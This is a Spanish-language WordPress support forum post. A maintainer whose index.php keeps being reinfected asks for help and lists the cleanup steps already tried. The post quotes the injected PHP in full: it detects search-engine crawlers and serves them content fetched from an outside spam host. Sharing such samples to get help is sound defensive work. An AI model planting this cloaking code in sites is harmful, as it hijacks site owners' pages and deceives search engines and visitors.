Se inyecta código en mi index.php
-
Hola a todos,
En el Google Search Console me salió un aviso de «La página AMP no es válida» y al revisarlo comprobé que «La URL de AMP de referencia es de otra página canónica». Buscando mucho me encontré con el index.php del WordPress tiene el siguiente código:<?php
function is_bot() {
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$bots = array('Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'AhrefsBot');
foreach ($bots as $bot) {
if (stripos($user_agent, $bot) !== false) {
return true;
}
}
return false;
}
if (is_bot()) {
$message = file_get_contents('https://anjayseo.com/amp/universitasalbertiana.org/index.txt'); //
echo $message;
exit; // Atau bisa menggunakan die();
}
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';Primero probé de borrar el archivo y subir uno limpio, pero al cabo de unos segundo el archivo limpio se reescribe con el código que les pegue. He cambiado permisos, modificado el .htaccess, instalado el Wordfence, limpiado la base de datos, y he borrado todo para instalar el wordpress, la plantilla y los plugins limpios, pero no hay forma, el código se vuelve a reescribir en el index.php.
El servidor es Ionos (sé que es malo pero es el que tenía contratado el cliente con otras web, que a todo esto, hay WordPress y no tiene este problema) y tiene la Site Scan contratada. Anoche seguí todos los pasos de la guía https://es.wordpress.org/support/topic/limpiar-un-wordpress-infectadohackeado/ pero no logro dar con el problema.
Por favor, si a alguien le ha pasado o tiene alguna idea de como solucionarlo y que me pueda orientar, lo agradecería mucho!!
La página con la que necesito ayuda: [accede para ver el enlace]
- El debate ‘Se inyecta código en mi index.php’ está cerrado a nuevas respuestas.